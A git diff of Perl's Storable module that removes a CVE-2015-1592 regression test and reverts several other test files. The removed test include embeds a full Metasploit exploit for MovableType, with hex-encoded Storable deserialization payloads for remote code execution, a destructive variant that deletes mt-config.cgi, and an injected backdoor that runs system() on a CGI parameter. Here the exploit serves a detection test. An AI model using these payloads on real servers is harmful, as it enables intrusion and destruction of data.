the use sees. - -# be fairly aggressive in trimming this, smoke testing showed several -# several apparently random failures here, eg. working in one -# configuration, but not in a very similar configuration. -$max_depth = int(0.6 * $max_depth); -$max_depth_hash = int(0.6 * $max_depth); - -my $stack_reserve = $^O eq "MSWin32" ? 32 : 16; -if ($] ge "5.016" && !($^O eq "cygwin" && $ptrsize == 8)) { - $max_depth -= $stack_reserve; - $max_depth_hash -= $stack_reserve; -} -else { - # within the exception we need another stack depth to recursively - # cleanup the hash - $max_depth = ($max_depth >> 1) - $stack_reserve; - $max_depth_hash = ($max_depth_hash >> 1) - $stack_reserve * 2; -} - -write_limits($max_depth, $max_depth_hash); - -sub write_limits { - my ($max_depth, $max_depth_hash) = @_; - my $f; - open $f, ">", $fn or die "$fn $!"; - print $f < 'SixApart MovableType Storable Perl Code Execution', - 'Description' => %q{ - This module exploits a serialization flaw in MovableType before 5.2.12 to execute - arbitrary code. The default nondestructive mode depends on the target server having - the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. - The destructive mode of operation uses only required MovableType dependencies, - but it will noticeably corrupt the MovableType installation. - }, - 'Author' => - [ - 'John Lightsey', - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2015-1592' ], - [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ], - ], - 'Privileged' => false, # web server context - 'Payload' => - { - 'DisableNops' => true, - 'BadChars' => ' ', - 'Space' => 1024, - }, - 'Compat' => - { - 'PayloadType' => 'cmd' - }, - 'Platform' => ['unix'], - 'Arch' => ARCH_CMD, - 'Targets' => [['Automatic', {}]], - 'DisclosureDate' => 'Feb 11 2015', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']), - OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]) - ], self.class - ) - - end - -=cut - -# generate config parameters for injection checks - -use Storable; - -{ - - package XXXCHECKXXX; - - sub STORABLE_thaw { - return 1; - } - - sub STORABLE_freeze { - return 1; - } - -} - -my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX; -my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj}); -$frozen2 = unpack 'H*', $frozen2; -#print "LFI test for storable flaw is: $frozen2\n"; - -{ - package DateTime; - use overload '+' => sub { 'ignored' }; -} - -=pod - - def check - vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), - 'vars_get' => { - '__mode' => 'retry', - 'step' => 'configure', - 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078' - } - }) - - unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm") - vprint_status("Failed XXXCHECKXXX.pm load test"); - return Exploit::CheckCode::Safe - end - Exploit::CheckCode::Vulnerable - end - - def exploit - if datastore['DESTRUCTIVE'] - exploit_destructive - else - exploit_nondestructive - end - end - -=cut - -#!/usr/bin/perl - -# Generate nondestructive config parameter for RCE via Object::MultiType -# and Try::Tiny. The generated value requires minor modification to insert -# the payload inside the system() call and resize the padding. - -use Storable; - -{ - package Object::MultiType; - use overload '+' => sub { 'ingored' }; -} - -{ - package Object::MultiType::Saver; -} - -#{ -# package DateTime; -# use overload '+' => sub { 'ingored' }; -#} - -{ - package Try::Tiny::ScopeGuard; -} - -my $try_tiny_loader = bless {}, 'DateTime'; -my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver'; -my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType'; -my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard'; - -my $data = [$try_tiny_loader, $try_tiny_executor]; -my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); -$frozen1 = unpack 'H*', $frozen1; -#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n"; - -=pod - - def exploit_nondestructive - print_status("Using nondestructive attack method") - config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b" - config_payload << payload.encoded.unpack('H*')[0] - config_payload << "7d293b" - config_payload << "23" * (1025 - payload.encoded.length) - config_payload << "0a657869743b" - - print_status("Sending payload (#{payload.raw.length} bytes)") - - send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), - 'vars_get' => { - '__mode' => 'retry', - 'step' => 'configure', - 'config' => config_payload - } - }, 5) - end - -=cut - -#!/usr/bin/perl - -# Generate destructive config parameter to unlink mt-config.cgi - -use Storable; - -{ - package CGITempFile; -} - -my $unlink_target = "mt-config.cgi"; -my $cgitempfile = bless \$unlink_target, "CGITempFile"; - -$data = [$cgitempfile]; -my $frozen_data = Storable::freeze($data); -my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data; -$frozen = unpack 'H*', $frozen; -#print "RCE unlink payload requiring CGI: $frozen\n"; - -# $Storable::DEBUGME = 1; -# $^W = 1; -Storable::thaw($frozen_data); - -=pod - -def exploit_destructive - print_status("Using destructive attack method") - # First we need to delete mt-config.cgi using the storable injection - - print_status("Sending storable injection to unlink mt-config.cgi") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), - 'vars_get' => { - '__mode' => 'retry', - 'step' => 'configure', - 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769' - } - }) - - if res && res.code == 200 - print_status("Successfully sent unlink request") - else - fail_with(Failure::Unknown, "Error sending unlink request") - end - - # Now we rewrite mt-config.cgi to accept a payload - - print_status("Rewriting mt-config.cgi to accept the payload") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), - 'vars_get' => { - '__mode' => 'next_step', - 'step' => 'optional', - 'default_language' => 'en_us', - 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1", - 'set_static_uri_to' => '/', - 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/', - } - }) - - if res && res.code == 200 - print_status("Successfully sent mt-config rewrite request") - else - fail_with(Failure::Unknown, "Error sending mt-config rewrite request") - end - - # Finally send the payload - - print_status("Sending payload request") - - send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'mt.cgi'), - 'vars_get' => { - 'xyzzy' => payload.encoded, - } - }, 5) - end - -=cut diff --git a/dist/Storable/t/CVE-2015-1592.t b/dist/Storable/t/CVE-2015-1592.t deleted file mode 100644 index 2730cdc9d1ca..000000000000 --- a/dist/Storable/t/CVE-2015-1592.t +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/perl - -use strict; -use Test::More; -plan tests => 1; - -use File::Temp qw(tempdir); -use File::Spec; -my $tmp_dir = tempdir(CLEANUP => 1); -my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit'); - -my $file = __FILE__; -$file =~ s/\.t$/.inc/; -my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC); -system qq($^X $inc -w "$file" 2>$tmp_file); -open(my $fh, "<", $tmp_file) or die "$tmp_file $!"; -{ - local $/; - my $err = <$fh>; - like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/, - 'Detect CVE-2015-1592'); -} diff --git a/dist/Storable/t/attach_errors.t b/dist/Storable/t/attach_errors.t index 0ed7c8d39f73..6cebd9735d23 100644 --- a/dist/Storable/t/attach_errors.t +++ b/dist/Storable/t/attach_errors.t @@ -25,6 +25,10 @@ sub BEGIN { use Test::More tests => 40; use Storable (); + + + + ##################################################################### # Error 1 # diff --git a/dist/Storable/t/attach_singleton.t b/dist/Storable/t/attach_singleton.t index c555c5c9ce17..d05e9bac2c07 100644 --- a/dist/Storable/t/attach_singleton.t +++ b/dist/Storable/t/attach_singleton.t @@ -19,7 +19,7 @@ sub BEGIN { } } -use Test::More tests => 16; +use Test::More tests => 11; use Storable (); # Get the singleton @@ -53,11 +53,6 @@ is( "$struct->[1]", "$thawed->[1]", 'Singleton thaws correctly' ); $struct->[1]->{value} = 'Goodbye cruel world!'; is_deeply( $struct, $thawed, 'Empiric testing confirms correct behaviour' ); -$struct = [ $object, $object ]; -$frozen = Storable::freeze($struct); -$thawed = Storable::thaw($frozen); -is("$thawed->[0]", "$thawed->[1]", "Multiple Singletons thaw correctly"); - # End Tests ########### diff --git a/dist/Storable/t/blessed.t b/dist/Storable/t/blessed.t index d9a77b37236a..fe439acea864 100644 --- a/dist/Storable/t/blessed.t +++ b/dist/Storable/t/blessed.t @@ -6,27 +6,9 @@ # in the README file that comes with the distribution. # -BEGIN { - # Do this as the very first thing, in order to avoid problems with the - # PADTMP flag on pre-5.19.3 threaded Perls. On those Perls, compiling - # code that contains a constant-folded canonical truth value breaks - # the ability to take a reference to that canonical truth value later. - $::false = 0; - %::immortals = ( - 'u' => \undef, - 'y' => \!$::false, - 'n' => \!!$::false, - ); -} - sub BEGIN { - if ($ENV{PERL_CORE}) { - chdir 'dist/Storable' if -d 'dist/Storable'; - @INC = ('../../lib', 't'); - } else { - unshift @INC, 't'; - unshift @INC, 't/compat' if $] < 5.006002; - } + unshift @INC, 't'; + unshift @INC, 't/compat' if $] < 5.006002; require Config; import Config; if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) { print "1..0 # Skip: Storable was not built\n"; @@ -36,16 +18,25 @@ sub BEGIN { use Test::More; -use Storable qw(freeze thaw store retrieve fd_retrieve); +use Storable qw(freeze thaw store retrieve); + +%::immortals + = (u => \undef, + 'y' => \(1 == 1), + n => \(1 == 0) +); -%::weird_refs = - (REF => \(my $aref = []), - VSTRING => \(my $vstring = v1.2.3), - 'long VSTRING' => \(my $lvstring = eval "v" . 0 x 300), - LVALUE => \(my $substr = substr((my $str = "foo"), 0, 3))); +{ + %::weird_refs = ( + REF => \(my $aref = []), + VSTRING => \(my $vstring = v1.2.3), + 'long VSTRING' => \(my $vstring = eval "v" . 0 x 300), + LVALUE => \(my $substr = substr((my $str = "foo"), 0, 3)), + ); +} -my $test = 13; -my $tests = $test + 41 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs); +my $test = 12; +my $tests = $test + 23 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs); plan(tests => $tests); package SHORT_NAME; @@ -71,20 +62,18 @@ sub STORABLE_thaw { package main; # Still less than 256 bytes, so long classname logic not fully exercised -# Identifier too long - 5.004 -# parser.h: char tokenbuf[256]: cperl5.24 => 1024 -my $m = ($Config{usecperl} and $] >= 5.024) ? 56 : 14; -my $longname = "LONG_NAME_" . ('xxxxxxxxxxxxx::' x $m) . "final"; +# Wait until Perl removes the restriction on identifier lengths. +my $name = "LONG_NAME_" . 'xxxxxxxxxxxxx::' x 14 . "final"; eval <make); - push(@pool, SHORT_NAME_WITH_HOOK->make); - push(@pool, $longname->make); - push(@pool, "${longname}_WITH_HOOK"->make); + push(@pool, SHORT_NAME->make); + push(@pool, SHORT_NAME_WITH_HOOK->make); + push(@pool, $name->make); + push(@pool, "${name}_WITH_HOOK"->make); } my $x = freeze \@pool; @@ -108,24 +98,24 @@ is(scalar @{$y}, @pool); is(ref $y->[0], 'SHORT_NAME'); is(ref $y->[1], 'SHORT_NAME_WITH_HOOK'); -is(ref $y->[2], $longname); -is(ref $y->[3], "${longname}_WITH_HOOK"); +is(ref $y->[2], $name); +is(ref $y->[3], "${name}_WITH_HOOK"); my $good = 1; for (my $i = 0; $i < 10; $i++) { - do { $good = 0; last } unless ref $y->[4*$i] eq 'SHORT_NAME'; - do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK'; - do { $good = 0; last } unless ref $y->[4*$i+2] eq $longname; - do { $good = 0; last } unless ref $y->[4*$i+3] eq "${longname}_WITH_HOOK"; + do { $good = 0; last } unless ref $y->[4*$i] eq 'SHORT_NAME'; + do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK'; + do { $good = 0; last } unless ref $y->[4*$i+2] eq $name; + do { $good = 0; last } unless ref $y->[4*$i+3] eq "${name}_WITH_HOOK"; } is($good, 1); { - my $blessed_ref = bless \\[1,2,3], 'Foobar'; - my $x = freeze $blessed_ref; - my $y = thaw $x; - is(ref $y, 'Foobar'); - is($$$y->[0], 1); + my $blessed_ref = bless \\[1,2,3], 'Foobar'; + my $x = freeze $blessed_ref; + my $y = thaw $x; + is(ref $y, 'Foobar'); + is($$$y->[0], 1); } package RETURNS_IMMORTALS; @@ -133,32 +123,30 @@ package RETURNS_IMMORTALS; sub make { my $self = shift; bless [@_], $self } sub STORABLE_freeze { - # Some reference some number of times. - my $self = shift; - my ($what, $times) = @$self; - return ("$what$times", ($::immortals{$what}) x $times); + # Some reference some number of times. + my $self = shift; + my ($what, $times) = @$self; + return ("$what$times", ($::immortals{$what}) x $times); } sub STORABLE_thaw { - my $self = shift; - my $cloning = shift; - my ($x, @refs) = @_; - my ($what, $times) = $x =~ /(.)(\d+)/; - die "'$x' didn't match" unless defined $times; - main::is(scalar @refs, $times); - my $expect = $::immortals{$what}; - die "'$x' did not give a reference" unless ref $expect; - my $fail; - foreach (@refs) { - $fail++ if $_ != $expect; - } - main::is($fail, undef); + my $self = shift; + my $cloning = shift; + my ($x, @refs) = @_; + my ($what, $times) = $x =~ /(.)(\d+)/; + die "'$x' didn't match" unless defined $times; + main::is(scalar @refs, $times); + my $expect = $::immortals{$what}; + die "'$x' did not give a reference" unless ref $expect; + my $fail; + foreach (@refs) { + $fail++ if $_ != $expect; + } + main::is($fail, undef); } package main; -# XXX Failed tests: 15, 27, 39 with 5.12 and 5.10 threaded. -# 15: 1 fail (y x 1), 27: 2 fail (y x 2), 39: 3 fail (y x 3) # $Storable::DEBUGME = 1; my $count; foreach $count (1..3) { @@ -168,12 +156,7 @@ foreach $count (1..3) { my $i = RETURNS_IMMORTALS->make ($immortal, $count); my $f = freeze ($i); - TODO: { - # ref sv_true is not always sv_true, at least in older threaded perls. - local $TODO = "Some 5.10/12 do not preserve ref identity with freeze \\(1 == 1)" - if !defined($f) and $] < 5.013 and $] > 5.009 and $immortal eq 'y'; - isnt($f, undef); - } + isnt($f, undef); my $t = thaw $f; pass("thaw didn't crash"); } @@ -322,95 +305,3 @@ is(ref $t, 'STRESS_THE_STACK'); } } } - -{ - # [perl #118551] - { - package RT118551; - - sub new { - my $class = shift; - my $string = shift; - die 'Bad data' unless defined $string; - my $self = { string => $string }; - return bless $self, $class; - } - - sub STORABLE_freeze { - my $self = shift; - my $cloning = shift; - return if $cloning; - return ($self->{string}); - } - - sub STORABLE_attach { - my $class = shift; - my $cloning = shift; - my $string = shift; - return $class->new($string); - } - } - - my $x = [ RT118551->new('a'), RT118551->new('') ]; - - $y = freeze($x); - - ok(eval {thaw($y)}, "empty serialized") or diag $@; # <-- dies here with "Bad data" -} - -{ - { - package FreezeHookDies; - sub STORABLE_freeze { - die ${$_[0]} - } - - package ThawHookDies; - sub STORABLE_freeze { - my ($self, $cloning) = @_; - my $tmp = $$self; - return "a", \$tmp; - } - sub STORABLE_thaw { - my ($self, $cloning, $str, $obj) = @_; - die $$obj; - } - } - my $x = bless \(my $tmpx = "Foo"), "FreezeHookDies"; - my $y = bless \(my $tmpy = []), "FreezeHookDies"; - - ok(!eval { store($x, "store$$"); 1 }, "store of hook which throws no NL died"); - ok(!eval { store($y, "store$$"); 1 }, "store of hook which throws ref died"); - - ok(!eval { freeze($x); 1 }, "freeze of hook which throws no NL died"); - ok(!eval { freeze($y); 1 }, "freeze of hook which throws ref died"); - - ok(!eval { dclone($x); 1 }, "dclone of hook which throws no NL died"); - ok(!eval { dclone($y); 1 }, "dclone of hook which throws ref died"); - - my $ostr = bless \(my $tmpstr = "Foo"), "ThawHookDies"; - my $oref = bless \(my $tmpref = []), "ThawHookDies"; - ok(store($ostr, "store$$"), "save throw Foo on thaw"); - ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw Foo on thaw died"); - open FH, "<", "store$$" or die; - binmode FH; - ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw Foo on thaw died"); - ok(!ref $@, "right thing thrown"); - close FH; - ok(store($oref, "store$$"), "save throw ref on thaw"); - ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw ref on thaw died"); - open FH, "<", "store$$" or die; - binmode FH; - ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw [] on thaw died"); - ok(ref $@, "right thing thrown"); - close FH; - - my $strdata = freeze($ostr); - ok(!eval { thaw($strdata); 1 }, "thaw of throw Foo on thaw died"); - ok(!ref $@, "and a string thrown"); - my $refdata = freeze($oref); - ok(!eval { thaw($refdata); 1 }, "thaw of throw [] on thaw died"); - ok(ref $@, "and a ref thrown"); - - unlink("store$$"); -} diff --git a/dist/Storable/t/canonical.t b/dist/Storable/t/canonical.t index f7791ce879fd..35046dec6771 100644 --- a/dist/Storable/t/canonical.t +++ b/dist/Storable/t/canonical.t @@ -18,7 +18,7 @@ sub BEGIN { use Storable qw(freeze thaw dclone); -our ($debugging, $verbose); +use vars qw($debugging $verbose); use Test::More tests => 8; @@ -34,7 +34,7 @@ $maxarraysize = 100; eval { require Digest::MD5; }; $gotmd5 = !$@; -diag "Will use Digest::MD5" if $gotmd5; +note "Will use Digest::MD5" if $gotmd5; # Use Data::Dumper if debugging and it is available to create an ASCII dump diff --git a/dist/Storable/t/code.t b/dist/Storable/t/code.t index b4e708128826..d31e2315ea40 100644 --- a/dist/Storable/t/code.t +++ b/dist/Storable/t/code.t @@ -41,7 +41,7 @@ use Safe; #$Storable::DEBUGME = 1; -our ($freezed, $thawed, @obj, @res, $blessed_code); +use vars qw($freezed $thawed @obj @res $blessed_code); $blessed_code = bless sub { "blessed" }, "Some::Package"; { package Another::Package; sub foo { __PACKAGE__ } } @@ -125,9 +125,8 @@ is($new_sub->(), $obj[2]->()); ###################################################################### # Test retrieve & store -store $obj[0], "store$$"; -# $Storable::DEBUGME = 1; -$thawed = retrieve "store$$"; +store $obj[0], 'store'; +$thawed = retrieve 'store'; is($thawed->[0]->(), "JAPH"); is($thawed->[1]->(), 42); @@ -137,9 +136,9 @@ is(prototype($thawed->[4]), prototype($obj[0]->[4])); ###################################################################### -nstore $obj[0], "store$$"; -$thawed = retrieve "store$$"; -unlink "store$$"; +nstore $obj[0], 'store'; +$thawed = retrieve 'store'; +unlink 'store'; is($thawed->[0]->(), "JAPH"); is($thawed->[1]->(), 42); diff --git a/dist/Storable/t/downgrade.t b/dist/Storable/t/downgrade.t index 617fb59ad4f5..db7d457498ef 100644 --- a/dist/Storable/t/downgrade.t +++ b/dist/Storable/t/downgrade.t @@ -26,12 +26,12 @@ use Test::More; use Storable 'thaw'; use strict; -our (%U_HASH, $UTF8_CROAK, $RESTRICTED_CROAK); +use vars qw(@RESTRICT_TESTS %R_HASH %U_HASH $UTF8_CROAK $RESTRICTED_CROAK); -our @RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder', +@RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder', 'Locked keys', 'Locked keys placeholder', ); -our %R_HASH = (perl => 'rules'); +%R_HASH = (perl => 'rules'); if ($] > 5.007002) { # This is cheating. "\xdf" in Latin 1 is beta S, so will match \w if it diff --git a/dist/Storable/t/flags.t b/dist/Storable/t/flags.t deleted file mode 100644 index e648f7a95cc1..000000000000 --- a/dist/Storable/t/flags.t +++ /dev/null @@ -1,103 +0,0 @@ -#!./perl - -use Test::More tests => 16; - -use Storable (); - -use warnings; -use strict; - -package TEST; - -sub make { - my $pkg = shift; - return bless { a => 1, b => 2 }, $pkg; -} - -package TIED_HASH; - -sub TIEHASH { - my $pkg = shift; - return bless { a => 1, b => 2 }, $pkg; -} - -sub FETCH { - my ($self, $key) = @_; - return $self->{$key}; -} - -sub STORE { - my ($self, $key, $value) = @_; - $self->{$key} = $value; -} - -sub FIRSTKEY { - my $self = shift; - keys %$self; - return each %$self; -} - -sub NEXTKEY { - my $self = shift; - return each %{$self}; -} - -sub EXISTS { - my ($self, $key) = @_; - return exists $self->{$key}; -} - -package main; - -{ - my $obj = TEST->make; - - is_deeply($obj, { a => 1, b => 2 }, "object contains correct data"); - - my $frozen = Storable::freeze($obj); - my ($t1, $t2) = Storable::thaw($frozen); - - { - no warnings 'once'; - local $Storable::flags = Storable::FLAGS_COMPAT(); - $t2 = Storable::thaw($frozen); - } - - is_deeply($t1, $t2, "objects contain matching data"); - is(ref $t1, 'TEST', "default object is blessed"); - is(ref $t2, 'TEST', "compat object is blessed into correct class"); - - my $t3 = Storable::thaw($frozen, Storable::FLAGS_COMPAT()); - is_deeply($t2, $t3, "objects contain matching data (explicit test)"); - is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test)"); - - my $t4 = Storable::thaw($frozen, Storable::BLESS_OK()); - is_deeply($t2, $t3, "objects contain matching data (explicit test for bless)"); - is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test for bless)"); - - { - no warnings 'once'; - local $Storable::flags = Storable::FLAGS_COMPAT(); - my $t5 = Storable::thaw($frozen, 0); - my $t6 = Storable::thaw($frozen, Storable::TIE_OK()); - - is_deeply($t1, $t5, "objects contain matching data"); - is_deeply($t1, $t6, "objects contain matching data for TIE_OK"); - is(ref $t5, 'HASH', "default object is unblessed"); - is(ref $t6, 'HASH', "TIE_OK object is unblessed"); - } -} - -{ - tie my %hash, 'TIED_HASH'; - ok(tied %hash, "hash is tied"); - my $obj = { bow => \%hash }; - - my $frozen = Storable::freeze($obj); - my $t1 = Storable::thaw($frozen, Storable::FLAGS_COMPAT()); - my $t2 = eval { Storable::thaw($frozen); }; - - ok(!$@, "trying to thaw a tied value succeeds"); - ok(tied %{$t1->{bow}}, "compat object is tied"); - is(ref tied %{$t1->{bow}}, 'TIED_HASH', "compat object is tied into correct class"); -} diff --git a/dist/Storable/t/forgive.t b/dist/Storable/t/forgive.t index 1833a2642469..af7aa1df56c0 100644 --- a/dist/Storable/t/forgive.t +++ b/dist/Storable/t/forgive.t @@ -36,7 +36,7 @@ plan(tests => 8); my $bad = ['foo', \*GLOB, 'bar']; my $result; -eval {$result = store ($bad , "store$$")}; +eval {$result = store ($bad , 'store')}; is($result, undef); isnt($@, ''); @@ -48,18 +48,18 @@ open(SAVEERR, ">&STDERR"); open(STDERR, '>', $devnull) or ( print SAVEERR "Unable to redirect STDERR: $!\n" and exit(1) ); -eval {$result = store ($bad , "store$$")}; +eval {$result = store ($bad , 'store')}; open(STDERR, ">&SAVEERR"); isnt($result, undef); is($@, ''); -my $ret = retrieve("store$$"); +my $ret = retrieve('store'); isnt($ret, undef); is($ret->[0], 'foo'); is($ret->[2], 'bar'); is(ref $ret->[1], 'SCALAR'); -END { 1 while unlink "store$$" } +END { 1 while unlink 'store' } diff --git a/dist/Storable/t/freeze.t b/dist/Storable/t/freeze.t index d254c6f5608f..a02f836c2a23 100644 --- a/dist/Storable/t/freeze.t +++ b/dist/Storable/t/freeze.t @@ -19,8 +19,6 @@ sub BEGIN { use Storable qw(freeze nfreeze thaw); -$Storable::flags = Storable::FLAGS_COMPAT; - use Test::More tests => 21; $a = 'toto'; diff --git a/dist/Storable/t/huge.t b/dist/Storable/t/huge.t deleted file mode 100644 index d28e238e7a3e..000000000000 --- a/dist/Storable/t/huge.t +++ /dev/null @@ -1,104 +0,0 @@ -#!./perl - -use strict; -use warnings; - -use Config; -use Storable qw(dclone); -use Test::More; - -BEGIN { - plan skip_all => 'Storable was not built' - if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x; - plan skip_all => 'Need 64-bit pointers for this test' - if $Config{ptrsize} < 8 and $] > 5.013; - plan skip_all => 'Need 64-bit int for this test on older versions' - if $Config{uvsize} < 8 and $] < 5.013; - plan skip_all => 'Need ~4 GiB memory for this test, set PERL_TEST_MEMORY > 4' - if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 4; -} - -# Just too big to fit in an I32. -my $huge = int(2 ** 31); -# v5.24.1c/v5.25.1c switched to die earlier with "Too many elements", -# which is much safer. -my $has_too_many = ($Config{usecperl} and - (($] >= 5.024001 and $] < 5.025000) - or $] >= 5.025001)) ? 1 : 0; - -# These overlarge sizes are enabled only since Storable 3.00 and some -# cases need cperl support. Perl5 (as of 5.24) has some internal -# problems with >I32 sizes, which only cperl has fixed. -# perl5 is not yet 2GB safe, esp. with hashes. - -# string len (xpv_cur): STRLEN (ptrsize>=8) -# array size (xav_max): SSize_t (I32/I64) (ptrsize>=8) -# hash size (xhv_keys): -# IV - 5.12 (ivsize>=8) -# STRLEN 5.14 - 5.24 (size_t: U32/U64) -# SSize_t 5.22c - 5.24c (I32/I64) -# U32 5.25c - -# hash key: I32 - -my @cases = ( - ['huge string', - sub { my $s = 'x' x $huge; \$s }], - - ['array with huge element', - sub { my $s = 'x' x $huge; [$s] }], - - ['hash with huge value', - sub { my $s = 'x' x $huge; +{ foo => $s } }], - - # There's no huge key, limited to I32. - ) if $Config{ptrsize} > 4; - - -# An array with a huge number of elements requires several gigabytes of -# virtual memory. On darwin it is evtl killed. -if ($Config{ptrsize} > 4 and !$has_too_many) { - # needs 20-55G virtual memory, 4.6M heap and several minutes on a fast machine - if ($ENV{PERL_TEST_MEMORY} >= 55) { - push @cases, - [ 'huge array', - sub { my @x; $x[$huge] = undef; \@x } ]; - } else { - diag "skip huge array, need PERL_TEST_MEMORY >= 8"; - } -} - -# A hash with a huge number of keys would require tens of gigabytes of -# memory, which doesn't seem like a good idea even for this test file. -# Unfortunately even older 32bit perls do allow this. -if (!$has_too_many) { - # needs >90G virtual mem, and is evtl. killed - if ($ENV{PERL_TEST_MEMORY} >= 96) { - # number of keys >I32. impossible to handle with perl5, but Storable can. - push @cases, - ['huge hash', - sub { my %x = (0 .. $huge); \%x } ]; - } else { - diag "skip huge hash, need PERL_TEST_MEMORY >= 16"; - } -} - - -plan tests => 2 * scalar @cases; - -for (@cases) { - my ($desc, $build) = @$_; - diag "building test input: $desc"; - my ($input, $exn, $clone); - diag "these huge subtests need a lot of memory and time!" if $desc eq 'huge array'; - $input = $build->(); - diag "running test: $desc"; - $exn = $@ if !eval { $clone = dclone($input); 1 }; - - is($exn, undef, "$desc no exception"); - is_deeply($input, $clone, "$desc cloned"); - #ok($clone, "$desc cloned"); - - # Ensure the huge objects are freed right now: - undef $input; - undef $clone; -} diff --git a/dist/Storable/t/hugeids.t b/dist/Storable/t/hugeids.t deleted file mode 100644 index c0e19ae0bf4f..000000000000 --- a/dist/Storable/t/hugeids.t +++ /dev/null @@ -1,372 +0,0 @@ -#!./perl - -# We do all of the work in child processes here to ensure that any -# memory used is released immediately. - -# These tests use ridiculous amounts of memory and CPU. - -use strict; -use warnings; - -use Config; -use Storable qw(store_fd retrieve_fd nstore_fd); -use Test::More; -use File::Temp qw(tempfile); -use File::Spec; - -BEGIN { - plan skip_all => 'Storable was not built' - if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x; - plan skip_all => 'Need 64-bit pointers for this test' - if $Config{ptrsize} < 8 and $] > 5.013; - plan skip_all => 'Need 64-bit int for this test on older versions' - if $Config{uvsize} < 8 and $] < 5.013; - plan skip_all => 'Need ~8 GiB memory for this test, set PERL_TEST_MEMORY >= 8' - if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 8; - plan skip_all => 'These tests are slow, set PERL_RUN_SLOW_TESTS' - unless $ENV{PERL_RUN_SLOW_TESTS}; - plan skip_all => "Need fork for this test", - unless $Config{d_fork}; -} - -find_exe("gzip") - or plan skip_all => "Need gzip for this test"; -find_exe("gunzip") - or plan skip_all => "Need gunzip for this test"; - -plan tests => 12; - -my $skips = $ENV{PERL_STORABLE_SKIP_ID_TEST} || ''; -my $keeps = $ENV{PERL_STORABLE_KEEP_ID_TEST}; - -freeze_thaw_test - ( - name => "object ids between 2G and 4G", - freeze => \&make_2g_data, - thaw => \&check_2g_data, - id => "2g", - memory => 34, - ); - -freeze_thaw_test - ( - name => "object ids over 4G", - freeze => \&make_4g_data, - thaw => \&check_4g_data, - id => "4g", - memory => 70, - ); - -freeze_thaw_test - ( - name => "hook object ids over 4G", - freeze => \&make_hook_data, - thaw => \&check_hook_data, - id => "hook4g", - memory => 70, - ); - -# not really an id test, but the infrastructure here makes tests -# easier -freeze_thaw_test - ( - name => "network store large PV", - freeze => \&make_net_large_pv, - thaw => \&check_net_large_pv, - id => "netlargepv", - memory => 8, - ); - -freeze_thaw_test - ( - name => "hook store with 2g data", - freeze => \&make_2g_hook_data, - thaw => \&check_2g_hook_data, - id => "hook2gdata", - memory => 4, - ); - -freeze_thaw_test - ( - name => "hook store with 4g data", - freeze => \&make_4g_hook_data, - thaw => \&check_4g_hook_data, - id => "hook4gdata", - memory => 8, - ); - -sub freeze_thaw_test { - my %opts = @_; 